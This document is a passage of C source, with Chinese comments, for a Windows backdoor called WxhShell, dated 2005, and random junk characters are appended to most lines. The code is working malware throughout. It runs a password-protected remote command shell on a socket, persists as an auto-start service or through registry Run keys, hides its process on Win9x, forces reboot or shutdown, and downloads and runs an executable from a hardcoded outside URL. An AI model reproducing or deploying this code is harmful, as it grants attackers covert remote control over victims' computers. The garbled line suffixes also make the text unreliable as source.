    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >`=<(8bu  
    else { e)A-.SRiO$  
    closesocket(wsh); RG V}c#  
    ExitThread(0); < r7s,][&  
    } o-r00H|  
    break; Z@ QJ5F1y  
    } ;FO( mL(  
  // 获取shell H&E3RU> `  
  case 's': { ^%jk.*  
    CmdShell(wsh); F%^)oQT+c  
    closesocket(wsh); XX[CTh?O%  
    ExitThread(0); 7dtkylW  
    break; s2t9+ZA+s  
  } Uy5G,!  
  // 退出 #jd&f,Tt  
  case 'x': { m9 D' yXZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]c~W$h+F  
    CloseIt(wsh); ,AEaW  
    break; k5/W'*P  
    } UTR`jXCg  
  // 离开 5!*@gn  
  case 'q': { Z[?zaQ$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1&#qq*{  
    closesocket(wsh); 1?,1EYT"  
    WSACleanup(); )H| cri~D  
    exit(1); c-q=Ct  
    break; 8D6rShx =  
        } G"D=ozr  
  } l[u=_uaYl  
  } _fE$KaP  
$, @,(M`i}  
  // 提示信息 X &s"}Hf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $fFh4O4  
} gjDxgNpa  
  } cPbAR'  
?3Y~q;I]O  
  return; EEdU\9DH(  
} SKeX~uLz  
w$4*/D}Y  
// shell模块句柄 {dXmSuO  
int CmdShell(SOCKET sock) "#G`F  
{ -cP7`.a  
STARTUPINFO si; crl"Ec  
ZeroMemory(&si,sizeof(si)); 3+oGR5gIN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pRH'>}rtuH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =u 3YRqz  
PROCESS_INFORMATION ProcessInfo; !@4 i:,p@  
char cmdline[]="cmd"; W|4h;[w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +\)a p  
  return 0; cT(=pMt8>  
} DuI>z?bS  
%=`wN^3t2  
// 自身启动模式 U\GuCw  
int StartFromService(void) ,4H/>yPw  
{ pxb4x#CC  
typedef struct ?'RB'o~  
{ lFZl}x  
  DWORD ExitStatus; Q%!Dk0-)  
  DWORD PebBaseAddress; %_%Bb Qf  
  DWORD AffinityMask; E(g$f.9  
  DWORD BasePriority; FL E3LH  
  ULONG UniqueProcessId; NE4 }!I  
  ULONG InheritedFromUniqueProcessId; J^y?nE(j  
}   PROCESS_BASIC_INFORMATION; Ge1b_?L_  
EFn[[<&><t  
PROCNTQSIP NtQueryInformationProcess; bZWdd6  
[ahK+J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TE% i   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C2C 1 @=w  
9 :,ZG4s  
  HANDLE             hProcess; 3*=_vl3  
  PROCESS_BASIC_INFORMATION pbi; /I &wh  
DPr~DO`b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RmRPR<vGW  
  if(NULL == hInst ) return 0; ve^gzE$<I  
yS1i$[JV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YF)k0bu&;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d<Dm(   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;cfPS  
<S3s==Cg  
  if (!NtQueryInformationProcess) return 0; &a.A8v)  
Z -fiJ75  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (\UpJlW  
  if(!hProcess) return 0; Y49&EQ  
N;gY5;0m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $i@I|y/  
Y.kgJ #2  
  CloseHandle(hProcess); M;9s  
*Gul|Lp$<I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]-;MY@  
if(hProcess==NULL) return 0; d9up! k  
QJ+Ml  
HMODULE hMod; 1pAcaJzf  
char procName[255]; }#h`1 uV  
unsigned long cbNeeded; HZqk)sN  
gY!?JZC-0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {5]c \_.  
72ZoN<c  
  CloseHandle(hProcess); h"7~`!"~  
XK&G`cJ[  
if(strstr(procName,"services")) return 1; // 以服务启动 -2'1KAk-W  
q_cP<2`@V  
  return 0; // 注册表启动 1my1m  
} 8SA" bH:  
+o?;7  
// 主模块 n8tw8o%&[  
int StartWxhshell(LPSTR lpCmdLine) +Fb+dU  
{ RM;Uq >l  
  SOCKET wsl; =0a z5td  
BOOL val=TRUE; _L+j6N.h1  
  int port=0; BbiyyRa  
  struct sockaddr_in door; vXm'ARj  
ne: 'aq  
  if(wscfg.ws_autoins) Install(); vi28u xc  
+)LCYDRV7  
port=atoi(lpCmdLine); }U'  
mLx=Zes:.  
if(port<=0) port=wscfg.ws_port; bYO['ORr @  
!jvl"+_FV  
  WSADATA data; 3CH> !QOA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fN/;BT  
(&Rql7](8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7>=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0SQrz$y  
  door.sin_family = AF_INET; &(lQgi+^!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F ^Bk  @  
  door.sin_port = htons(port); v: veKA  
yf7|/M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mh{244|o[  
closesocket(wsl); _PcF/Gyk  
return 1; HX)]@qL  
} ut#pg+#Q  
(%OZ `?`  
  if(listen(wsl,2) == INVALID_SOCKET) { "j&'R#$&d  
closesocket(wsl); Zrp-Hv27,,  
return 1; wJD'q\n  
} 3b|=V  
  Wxhshell(wsl); IEfYg(c0U  
  WSACleanup(); {1qr6P,"  
1[J|AkN  
return 0; F 2Y!aR  
pKno~jja  
} r@/@b{=  
Q :.i[  
// 以NT服务方式启动 _a f $0!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cUr!U\X[  
{ na|sKE;{  
DWORD   status = 0; \KzH5?  
  DWORD   specificError = 0xfffffff; @v#,SF{  
g/_0WW]}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I\x9xJ4x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 684d&\(s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >JAWcT)d  
  serviceStatus.dwWin32ExitCode     = 0; &_u.q/~   
  serviceStatus.dwServiceSpecificExitCode = 0; a#k7 aOT0  
  serviceStatus.dwCheckPoint       = 0; ,i1BoG  
  serviceStatus.dwWaitHint       = 0; &=MVX>[  
N:+)6a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \|6VGh \Z  
  if (hServiceStatusHandle==0) return; XK\3"`kd  
CBoCT3@~  
status = GetLastError(); PXqG;o*Q*?  
  if (status!=NO_ERROR) jFJ}sX9]  
{ <_ENC>NP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5\= y9Z- x  
    serviceStatus.dwCheckPoint       = 0; N .H<'Q8&  
    serviceStatus.dwWaitHint       = 0; /&<V5?1|  
    serviceStatus.dwWin32ExitCode     = status; !/!ga)Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; _6V1oe2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iEZ+Znon  
    return; CJER&"em7  
  } a+cDH  
gb|;]mk*"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IxS%V31  
  serviceStatus.dwCheckPoint       = 0; iPCCTs  
  serviceStatus.dwWaitHint       = 0; q2s0g*z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cdh0b7tj n  
} r~2hTie  
UfPHV%Wd  
// 处理NT服务事件,比如:启动、停止 #\ `kg#&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7F6 B  
{ /`7+Gy<  
switch(fdwControl) |35OA/O?X  
{ o<%0|n_O&  
case SERVICE_CONTROL_STOP: ^!d0a bA  
  serviceStatus.dwWin32ExitCode = 0; S1I.l">P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k=[s%O 6H  
  serviceStatus.dwCheckPoint   = 0; 92t.@!m`  
  serviceStatus.dwWaitHint     = 0; -fl6M-CYX  
  { ,oh;(|=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ruGeN  
  } M;,$ )>P  
  return; Dsp$Nr%*  
case SERVICE_CONTROL_PAUSE: (wM` LE(Ks  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b0YEIV<$  
  break; :)D7_[i  
case SERVICE_CONTROL_CONTINUE: DJ@n$G`^^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q[C?1Kc .z  
  break; 9O:l0 l  
case SERVICE_CONTROL_INTERROGATE: x(vQ %JC  
  break; ($kw*H{Ah^  
}; \0d'y#Gp*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,aLwOmO  
} J-Tiwl  
Z i.' V  
// 标准应用程序主函数 ON){d!]uJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @qan&?-Y  
{ ~^V&n`*7D  
DrkTM<  
// 获取操作系统版本 j7gw?,  
OsIsNt=GetOsVer(); xsn=Ji2 F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )?UoF&c/  
Jp_#pV*}:  
  // 从命令行安装 r+8D|stS  
  if(strpbrk(lpCmdLine,"iI")) Install(); j&oRj6;Ha+  
#}FUau$  
  // 下载执行文件 V(F9=r<X  
if(wscfg.ws_downexe) { _OTVQo Ap  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bskp&NV':  
  WinExec(wscfg.ws_filenam,SW_HIDE); .WqqP  
} M|K^u.4  
h7!O K  
if(!OsIsNt) { %z-*C'j5H  
// 如果时win9x,隐藏进程并且设置为注册表启动 HyU:BW;  
HideProc(); 6<<"9mxK  
StartWxhshell(lpCmdLine); 8zD>t~N2C  
} !43 !JfD  
else z'_Fg0kR{  
  if(StartFromService()) qrYbc~jI7  
  // 以服务方式启动 rBNVI;JZW  
  StartServiceCtrlDispatcher(DispatchTable); o #e8 Piw  
else hc[ K VLpS  
  // 普通方式启动 5 tQz!M  
  StartWxhshell(lpCmdLine); hj9TiH/+  
Td|u@l4B  
return 0; GQn:lu3j:  
} oNyYx6q:Q  
3X`9&0:j%  
v}6iI}r  
>ep<W<b  
=========================================== 31a,i2Q4  
\X:e9~  
oT):#,s  
M}x%'=Pox  
dA~:L`A|X  
iVI&  
" %S^hqC  
05 q760I+  
#include <stdio.h> bGH#s {'5  
#include <string.h> j)mU`b_  
#include <windows.h> A~bSB n: '  
#include <winsock2.h> _|#abLh%  
#include <winsvc.h> B2ln8NF#Q  
#include <urlmon.h> :rVR{,pL  
0%rDDB  
#pragma comment (lib, "Ws2_32.lib") Q+T#J9Y  
#pragma comment (lib, "urlmon.lib") q`'f /CS  
Ak9{P`  
#define MAX_USER   100 // 最大客户端连接数 iY,C0=n5Y  
#define BUF_SOCK   200 // sock buffer pT]hPuC  
#define KEY_BUFF   255 // 输入 buffer G+8)a$?v  
Nh.+woFq4  
#define REBOOT     0   // 重启 {Ya$Q#l  
#define SHUTDOWN   1   // 关机 Uz^N6q  
{fR\yWkt?  
#define DEF_PORT   5000 // 监听端口 C e-ru)  
tb+gCs'D  
#define REG_LEN     16   // 注册表键长度 (XO=W+<'  
#define SVC_LEN     80   // NT服务名长度 h9H z6 >  
4d@yAr}  
// 从dll定义API DWt|lO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K6IT$$g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .[O{,r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lPR=C0h}@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); szsVk#p  
a|7C6#iz$  
// wxhshell配置信息 /:4J  
struct WSCFG { L/tpT?$fi  
  int ws_port;         // 监听端口 ?$f.[;mh  
  char ws_passstr[REG_LEN]; // 口令 4H-eFs%5  
  int ws_autoins;       // 安装标记, 1=yes 0=no yxt"vm;  
  char ws_regname[REG_LEN]; // 注册表键名 :W*yfhLt  
  char ws_svcname[REG_LEN]; // 服务名 <T}U 3lL^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L7C ;l,ot  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s|Mo3_>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |u>(~6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nHdQe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XHk"nbj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xpR`fq  
1&=)Bxg4  
}; @Z~YFnEJi  
\Ggh 95y  
// default Wxhshell configuration OTXZdAv  
struct WSCFG wscfg={DEF_PORT, Ib#-M;{  
    "xuhuanlingzhe", bej(Ds0  
    1, 5^g*  
    "Wxhshell", ZbYC3_7w  
    "Wxhshell", =0g!Q   
            "WxhShell Service", 9p W~Gz  
    "Wrsky Windows CmdShell Service", zr.\7\v  
    "Please Input Your Password: ", 6<];}M_{  
  1, Fc5.?X-  
  "http://www.wrsky.com/wxhshell.exe", X,k^p[Rcu  
  "Wxhshell.exe" $gUlM+sK  
    }; |H?t+Dyn)q  
_Vr- bpAf  
// 消息定义模块 v76Gwu$ d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; W@T \i2r$z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {cXr!N^K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &>JP.//spi  
char *msg_ws_ext="\n\rExit."; RpivO,   
char *msg_ws_end="\n\rQuit."; lx:$EJ  
char *msg_ws_boot="\n\rReboot..."; G"<#tif9K  
char *msg_ws_poff="\n\rShutdown..."; 7?Wte&C];p  
char *msg_ws_down="\n\rSave to "; ..)J6L5l  
$l]:2!R  
char *msg_ws_err="\n\rErr!"; qIi \[Ugh  
char *msg_ws_ok="\n\rOK!"; _i05' _  
[:y:_ECs6  
char ExeFile[MAX_PATH]; :V'99Esv`  
int nUser = 0; .4+R ac  
HANDLE handles[MAX_USER]; JsJP%'^/R  
int OsIsNt; MGR:IOTa  
Dkz/hg:q  
SERVICE_STATUS       serviceStatus; YRu@; `  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kB 8^v7o  
9J3fiA_  
// 函数声明 ?\V#^q-  
int Install(void); B6  0  
int Uninstall(void); e(0OZ_w  
int DownloadFile(char *sURL, SOCKET wsh); Ehx9-*]  
int Boot(int flag); Tv=lr6t8  
void HideProc(void); (7Z+De?  
int GetOsVer(void); U~x]2{}  
int Wxhshell(SOCKET wsl); DDeU:  
void TalkWithClient(void *cs); T*x2+(r  
int CmdShell(SOCKET sock); O4R\] B#Xu  
int StartFromService(void); /hl'T'RG  
int StartWxhshell(LPSTR lpCmdLine); wMW<lT=;  
0g?)j-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :$k*y%Z*N&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hne@I1  
b>uD-CSA  
// 数据结构和表定义 (;{X-c}?  
SERVICE_TABLE_ENTRY DispatchTable[] = d0(zB5'}  
{ E4 X6f  
{wscfg.ws_svcname, NTServiceMain}, y:;.r:  
{NULL, NULL} 9;@p2t*v  
}; %O \@rws  
^&>B,;Wu  
// 自我安装 7ch9Pf  
int Install(void) mLhM_=  
{ 47q> q  
  char svExeFile[MAX_PATH]; V 0Bl6  
  HKEY key; &hYgu3O  
  strcpy(svExeFile,ExeFile); hXTfmFy{n  
hF2e--  
// 如果是win9x系统,修改注册表设为自启动 S{=5n R9j  
if(!OsIsNt) { l\UjvG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mwAN9<o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }S> 4.8  
  RegCloseKey(key); !d72f8@9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  2v{WX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FLi'}C  
  RegCloseKey(key); 6<lo0PQ"Z  
  return 0; x92^0cMf  
    } y]h0c<NP  
  } l2 .S^S  
} `2.c=,S{  
else { 1VJ${\H]  
pD<w@2K  
// 如果是NT以上系统,安装为系统服务 $.`o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ER"69zQg|2  
if (schSCManager!=0) ofy"SM  
{ CWdsOS=  
  SC_HANDLE schService = CreateService T fLqxioqZ  
  ( J"r?F0  
  schSCManager, (D>_O$o  
  wscfg.ws_svcname, V^_A{\GK  
  wscfg.ws_svcdisp, {-Y;!  
  SERVICE_ALL_ACCESS, :iE b^F}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `ASDUgx Mq  
  SERVICE_AUTO_START, JK/{Ik F  
  SERVICE_ERROR_NORMAL, -UhpPw 6  
  svExeFile, QH'*MY  
  NULL, :&BPKqKp  
  NULL, Q}AZkZ  
  NULL, q`<vY'&1  
  NULL, <[dcIw<7  
  NULL & zDuh[j}  
  ); f.6>6%l  
  if (schService!=0) dNe!X0[  
  { iWCYK7c@.-  
  CloseServiceHandle(schService); xC)bW,%  
  CloseServiceHandle(schSCManager); 9?l a5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dtTn]}J  
  strcat(svExeFile,wscfg.ws_svcname); 3TwjC:Yhv2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VF?H0}YSHb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '/>Mr!H#  
  RegCloseKey(key); Wiis<^)  
  return 0; !r njmc  
    } f}-'67*Y  
  } <i~xJi%1#  
  CloseServiceHandle(schSCManager); \J^#2{d  
} >=@-]X2%j  
} 2`=jKt  
YC6T0m  
return 1; SzW;Yb"#^k  
} :>&q?xvA  
&da=hc,>%  
// 自我卸载 C$w%! jE  
int Uninstall(void) u^2`$W  
{ alb3oipOB  
  HKEY key; Y% iqSY  
@O#!W]6NT6  
if(!OsIsNt) { Cut~k"lv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >_}isCd,  
  RegDeleteValue(key,wscfg.ws_regname); @|Pm%K`1  
  RegCloseKey(key); _(m72o0g>>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pe%[d[ k  
  RegDeleteValue(key,wscfg.ws_regname); [:X@|,1V!L  
  RegCloseKey(key); qTuR[(  
  return 0; Mq> 4!  
  } b31$i 5{  
} w.m8SvS&b  
} BE?]P?r?  
else { pCKP{c=6Q  
/2K"Mpf8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K6v~!iiK$  
if (schSCManager!=0) I5"wa:Z  
{ ^+(5[z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q>1BOH1by  
  if (schService!=0) XM]m%I  
  { t&U9Z$LS  
  if(DeleteService(schService)!=0) { d.&_j`\F  
  CloseServiceHandle(schService); T<]{:\*n  
  CloseServiceHandle(schSCManager); lNe4e6  
  return 0; wv\X  
  } E1QJ^]MG.  
  CloseServiceHandle(schService); LW1 4 'A}  
  } !u7KgB<=/F  
  CloseServiceHandle(schSCManager); DGFSD Py[  
} FvsVfV U  
} B!'K20"gF  
IyO 0~Vx>  
return 1; * F!B4go  
} 6P{bUom?  
y [Vd*8  
// 从指定url下载文件 +<E#_)}`D6  
int DownloadFile(char *sURL, SOCKET wsh) P'~`2W0sz  
{ >2#<gp3  
  HRESULT hr; e r3M vw  
char seps[]= "/"; 6))":<J  
char *token; v`4w=!4  
char *file; 9^*RK6  
char myURL[MAX_PATH]; %H\b5& _y  
char myFILE[MAX_PATH]; R0?bcP&  
uda++^y:  
strcpy(myURL,sURL); Cd'D ~'=  
  token=strtok(myURL,seps); _ZRmD\_t  
  while(token!=NULL) J^8j|%h%e  
  { Dl>tF?=  
    file=token; J4qk^1m.  
  token=strtok(NULL,seps); 5o6IpF 0V  
  } hb3n- rO  
k+_>`Gre}  
GetCurrentDirectory(MAX_PATH,myFILE); O*N:A[eW  
strcat(myFILE, "\\"); ? 2}%Rb39  
strcat(myFILE, file); S?v/diK ]J  
  send(wsh,myFILE,strlen(myFILE),0); )G48,. "  
send(wsh,"...",3,0); <)d%c%f'`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "~Fg-{jM%  
  if(hr==S_OK) INnd TF  
return 0; #Y= A#Yz,{  
else U5"u h} 3  
return 1; j~'.XD={  
Hzz{wY   
} "ku[b\W  
H&s`Xr  
// 系统电源模块 9~V'Wev  
int Boot(int flag) !*l/Pr^8  
{ }Y-V!z5z!  
  HANDLE hToken; s#7"ZN  
  TOKEN_PRIVILEGES tkp; #IH9S5B [  
NDRD PD  
  if(OsIsNt) { |lhnCShw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (MXy\b<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Oti;wf G7o  
    tkp.PrivilegeCount = 1; WsbVO|C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u(zgKoF9A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4&E"{d >  
if(flag==REBOOT) { 0YoKSo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hk !=ZE3  
  return 0; RxP~%oADw  
} 4 QQt 0u0  
else { vU%o5y:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bqn(5)%{  
  return 0; :^(y~q?  
} bZ`#;D<  
  } @,<jPR.  
  else { /3)\^Pof  
if(flag==REBOOT) { FH}?QebSR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .]>Tj^1  
  return 0; 7#JnQ| ]  
} #JYl%=#,  
else { @>2]zMFf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :s_o'8z7L  
  return 0; q%,86A>  
} 9swHa  
} NFVu~t  
10Eun }  
return 1; -O &>HA  
} ]fb@>1 jp  
TX5??o  
// win9x进程隐藏模块 &wi+)d  
void HideProc(void) j+3\I>  
{ EI=~*&t  
";U~wZW_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aH;AGbp  
  if ( hKernel != NULL ) e\~nqKCb  
  { huqtk4u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A^}#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ql9n`?Q  
    FreeLibrary(hKernel); ~Jf(M ^E  
  } /BgX Y}JC.  
6EC',=)6R  
return; n]6 '!Eo  
} OK4r)  
,LZA\XC  
// 获取操作系统版本 v RD/67  
int GetOsVer(void) 38sLyoG=i  
{ =b66H]h?  
  OSVERSIONINFO winfo; XrUI [ryE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .?:#<=1  
  GetVersionEx(&winfo); Q>L(=j2t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [%^0L~:  
  return 1; QE/kR!r  
  else /- Gq`9Z  
  return 0; ]$#bNt/p  
} ,~7~ S"  
0Fkr3x  
// 客户端句柄模块 5voL@w>  
int Wxhshell(SOCKET wsl) Y;Nq(  
{ aMu6{u6  
  SOCKET wsh; gjsks(x  
  struct sockaddr_in client; e <+)IW:  
  DWORD myID; E3a^"V3p  
ok6t| 7sq  
  while(nUser<MAX_USER) Gt{%O>P8t  
{ {_tq6ja-<  
  int nSize=sizeof(client); 0J?443A Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @V>]95RX  
  if(wsh==INVALID_SOCKET) return 1; |./:A5_h  
PM!JjMeQh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (J4( Ge  
if(handles[nUser]==0) Dlz0*eHD  
  closesocket(wsh); v,opyTwG|  
else $<nD-4p  
  nUser++; O!>#q4&]  
  } B _ J2Bf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e 6wevK\  
# Ey_.4S  
  return 0; LawE 3CD  
} K!AA4!eUzM  
h}|.#!C3  
// 关闭 socket i~E0p ,  
void CloseIt(SOCKET wsh) U;kN o3=  
{ fhn$~8[_A  
closesocket(wsh); 6  _V1s1F  
nUser--; 'hu'}F{  
ExitThread(0); CE{2\0Q  
} ;^JMX4[  
3\ ]j4*i!  
// 客户端请求句柄 k@9hth2Q  
void TalkWithClient(void *cs) A1;'S<a  
{ 7%$3`4i`O  
<FR!x#!   
  SOCKET wsh=(SOCKET)cs; qYoU\y7  
  char pwd[SVC_LEN]; 7*K2zu3  
  char cmd[KEY_BUFF]; ,2U  
char chr[1]; C/ VHzV%q  
int i,j; Zk~Pq%u  
6W:]'L4!  
  while (nUser < MAX_USER) {  Hxy=J  
tSni[,4Kq  
if(wscfg.ws_passstr) { [c;0eFSi2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )" Z|x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^7Z? }tgU  
  //ZeroMemory(pwd,KEY_BUFF); )Pubur %,  
      i=0; TPx`qyW  
  while(i<SVC_LEN) { R'1j  
IRR b^Q6  
  // 设置超时 @-0mE_$[  
  fd_set FdRead; OI0@lSAo<  
  struct timeval TimeOut; 'b"7Lzp2  
  FD_ZERO(&FdRead); w('}QB`xad  
  FD_SET(wsh,&FdRead); Za?BpV~  
  TimeOut.tv_sec=8; >bI\pJ  
  TimeOut.tv_usec=0; pm9sI4S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [OPF3W3z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -1hCi !  
_J2?B?S/j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z6M qcAJ3j  
  pwd=chr[0]; +t-_FbFh3D  
  if(chr[0]==0xd || chr[0]==0xa) { %jx<<hW  
  pwd=0; ci+a jON  
  break; >`[+24e  
  } &*8.%qe;  
  i++; 3A0Qjj=  
    } =oq=``%  
H>D?  
  // 如果是非法用户,关闭 socket n@H;*nI|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K[?@nl?,z  
} Wc m'E3c,  
}!r pH{y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~Hd *Xl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g/FT6+&T.  
Kc@Sw{JR#7  
while(1) { ~-G_c=E?  
7wY0JS$fz  
  ZeroMemory(cmd,KEY_BUFF); rmC7!^/  
Rxr?T-  
      // 自动支持客户端 telnet标准   eu]qgtg~U  
  j=0; ?b}e0C-a  
  while(j<KEY_BUFF) { Z6-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YIIc@ )  
  cmd[j]=chr[0]; v=dK2FaY  
  if(chr[0]==0xa || chr[0]==0xd) { gw">xt5  
  cmd[j]=0; M17+F?27M  
  break; /V2yLHm  
  } fGA#0/_`  
  j++; a*&&6Fo  
    } Z:<wB#G  
n``9H 91  
  // 下载文件 #RyTa /L  
  if(strstr(cmd,"http://")) { )Pc>+} D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =j20A6gND  
  if(DownloadFile(cmd,wsh)) {~#PM>f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hpbi!g  
  else )p#L"r^)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9GT}_ ^fb  
  } kaoiSL<[6  
  else { <gFisc/#r  
&Cm]*$?  
    switch(cmd[0]) { " &`>+Yw  
  m;1/+qs0  
  // 帮助 9s7TLT k  
  case '?': { N9*QQ0  
